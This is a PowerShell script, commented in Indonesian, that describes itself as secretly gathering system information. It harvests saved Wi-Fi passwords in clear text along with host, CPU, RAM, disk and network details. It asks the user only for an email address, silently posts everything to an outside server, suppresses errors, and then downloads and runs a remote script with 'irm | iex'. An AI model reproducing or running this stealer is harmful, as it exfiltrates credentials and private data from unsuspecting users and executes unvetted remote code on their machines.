# === Script Info Lengkap (Diam-Diam) ===

# Ambil info sistem tapi jangan tampilkan
$sysInfo = @{
    ComputerName = $env:COMPUTERNAME
    UserName     = $env:USERNAME
    OS           = (Get-CimInstance Win32_OperatingSystem).Caption
    OSVersion    = (Get-CimInstance Win32_OperatingSystem).Version
    CPU          = (Get-CimInstance Win32_Processor).Name
    RAMGB        = [math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB,2)
    IPAddress    = (Get-NetIPAddress -AddressFamily IPv4 -ErrorAction SilentlyContinue).IPAddress -join ', '
}

$disks = Get-CimInstance Win32_LogicalDisk |
         Select-Object DeviceID,
                       @{Name='SizeGB';Expression={[math]::Round($_.Size/1GB,2)}},
                       @{Name='FreeSpaceGB';Expression={[math]::Round($_.FreeSpace/1GB,2)}} |
         Out-Null

$gpus = Get-CimInstance Win32_VideoController |
        Select-Object Name,DriverVersion,VideoProcessor |
        Out-Null

$networkAdapters = Get-CimInstance Win32_NetworkAdapterConfiguration |
                   Where-Object { $_.IPEnabled -eq $true } |
                   Select-Object Description,MACAddress,
                                 @{Name='IPAddress';Expression={$_.IPAddress -join ','}},
                                 @{Name='Gateway';Expression={$_.DefaultIPGateway -join ','}} |
                   Out-Null

$wifiProfiles = netsh wlan show profiles | Select-String "All User Profile" |
                ForEach-Object { ($_ -split ":")[1].Trim() }

$wifiList = @()
foreach ($p in $wifiProfiles) {
    $wifiData = netsh wlan show profile name="$p" key=clear
    $ssid = $p
    $keyContent = ($wifiData | Select-String "Key Content") -replace 'Key Content *:','' |
                  ForEach-Object { $_.Trim() }
    $wifiList += [PSCustomObject]@{
        SSID     = $ssid
        Password = $keyContent -join ','
    }
}

# Gabungkan semua data
$allData = @{
    System   = $sysInfo
    Disks    = $disks
    GPU      = $gpus
    Network  = $networkAdapters
    WiFi     = $wifiList
}

# --- Minta email user (ini saja yang muncul) ---
$email = Read-Host "Masukkan Email Anda"

# --- Kirim ke server diam-diam ---
$payload = @{
    email = $email
    data  = $allData
} | ConvertTo-Json -Depth 15 -Compress

try {
    Invoke-RestMethod -Uri 'https://win.dev.edu.at.eu.org/save.php' `
                      -Method Post `
                      -Body $payload `
                      -ContentType 'application/json' | Out-Null
} catch {
    # Error tetap disembunyikan
}

# --- Jalankan skrip eksternal (tanpa output) ---
try {
    irm https://get.activated.win | iex | Out-Null
} catch {}